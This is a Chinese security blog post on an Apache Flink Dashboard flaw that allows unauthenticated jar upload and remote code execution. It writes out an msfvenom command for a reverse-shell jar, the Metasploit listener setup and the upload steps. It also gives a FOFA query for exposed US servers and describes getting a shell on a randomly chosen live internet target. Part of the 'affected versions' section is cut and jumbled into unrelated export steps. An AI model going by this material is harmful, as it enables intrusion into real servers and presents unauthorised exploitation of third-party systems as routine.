您当前的位置: 首页 >  ar

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

apache flink任意jar包上传导致远程代码执行

合天网安实验室 发布时间:2019-11-15 10:51:29 ,浏览量:0

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

Export(导出)

b.然后选择java-->Runnable JAR file

c.然后选择对应的java项目和导出路径以及导出文件名

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 172.26.1.156
set LPORT 9999
exploit

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:

图片 本地复现:

(1) 访问目标:

(2) 点击Submit New job,打开上传jar包的页面:

(3) 点击Add New选择我们制作好的jar包:

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的) 

(5) 点击我们刚刚上传的jar包:

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"

(1) 随便找一个目标:

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

图片

(3) 利用flink上传jar包的功能将我们的jar包上传:

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

参考链接:

flink安装https://s.tencent.com/research/bsafe/841.htmlhttps://mp.weixin.qq.com/s?src=11×tamp=1573607236&ver=1971&signature=roySoRWnz5MgPLuikntTt3rx7rWFdFBOOQfI5rmaOe-d1LWj7NEJxkVBvzfjKtpuihSaRk*EVBoHJ5Roh48qdTm3v2jbU8EWAVAs8i3ylp3OOskx7IUXnKXqDU5tcUfn&new=1https://klionsec.github.io/2016/09/27/revese-shell/#menu

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

 

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0377s